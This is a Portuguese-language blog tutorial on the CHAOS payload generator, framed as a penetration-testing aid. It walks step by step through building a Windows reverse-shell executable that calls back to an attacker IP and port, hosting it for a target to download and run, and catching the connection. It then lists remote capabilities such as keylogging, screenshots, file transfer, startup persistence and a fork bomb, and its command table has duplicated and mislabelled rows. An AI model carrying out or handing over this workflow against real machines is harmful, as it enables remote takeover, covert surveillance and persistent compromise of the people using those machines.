InformationSecurityPro

Marcos Henrique

Information Security Pro

O CHAOS é uma ferramenta desenvolvida em GO e tem como objetivo gerar payloads para Windows, Linux e MAC de forma simples e prática e pode lhe auxiliar durante um PenTest.

Neste artigo eu mostro apenas alguns dos recursos que a ferramenta disponibiliza, vale a pena explorá-la.

Projeto : github.com/tiagorlampert/CHAOS

01 - Passo

Realize a instalação dos pacotes e necessários para iniciar o CHAOS.

apt-get install golang git go-dep

02 - Passo

Realize o download do projeto utilizando o comando go.

go get github.com/tiagorlampert/CHAOS

cd ~/go/src/github.com/tiagorlampert/CHAOS

03 - Passo

Verifique se há dependências antes da execução do CHAOS.

dep ensure

04 - Passo

Execute o CHAOS.

go run main.go

05 - Passo

O CHAOS é bem didático, assim que você começa a digitar os comandos é exibida a descrição e os parâmetros disponíveis para cada comando.

chaos > generate

06 - Passo

Gerando um payload para Windows.

chaos > generate lhost=192.168.0.100 lport=4444 fname=100security —-windows

IP do Kali Linux: 192.168.0.100
Porta: 4444
Nome do Payload: 100security.exe
Tipo do SO: –-windows

07 - Passo

Disponibilizando o arquivo 100security.exe no diretório do Apache para executar no host alvo.

mv build/Windows/100security/100security.exe /var/www/html/

08 - Passo

Basta entrar no host alvo e realizar o download e executar o arquivo 100security.exe

http://kali

09 - Passo

Execute o CHAOS novamente e digite o comando abaixo para que a conexão seja estabelecida.

go run main.go

chaos > listen lport=4444

10 - Passo

Execute os comandos abaixo para explorar o host alvo.

chaos > whoami (Exibe o nome do usuário logado)

chaos > getos (Exibe o SIiema Operacional e o Hostname do alvo)

11 - Passo

Abrindo uma URL no host alvo.

chaos > openurl 

[  ?  ] Type URL to open: http://www.100security.com.br

12 - Passo

Para deixar o arquivo em execução na inicialização do Windows basta digitar o comando :

chaos > persistence_enable

Como Utilizar?

Comando	Descrição
generate	Gerar o payload (ex: generate lhost=192.168.0.100 lport=8080 fname=chaos --windows)
lhost=	Define o IP do Servidor de conexão "Atacante"
lport=	Define a porta do Servidor de conexão "Atacante"
fname=	Define o nome do arquivo de saída
--windows	Alvo Windows
--macos	Alvo Mac OS
--linux	Alvo Linux
listen	Escuta uma nova conexão (ex: lister lport=8080)
serve	Publica os arquivos
exit	Sair

Comando	Descrição
download	Download do Arquivo
upload	Upload do Arquivo
screenshot	Tira um Screenshot da tela
keylogger_start	Iniciar a Captura
keylogger_show	Exibe os dados capturados
persistence_enable	Instala o payload na Inicialização
persistence_enable	Remove o payload da Inicialização
getos	Obtem a versão do Sistema Operaiconal
lockscreen	Bloqueia a Tela
openurl	Abre uma URL
openurl	Abre uma URL
bomb	Executa o Fork
clear	Limpa a tela
back	Sai mas continua executando no alvo
exit	Encerra a conexão e Sai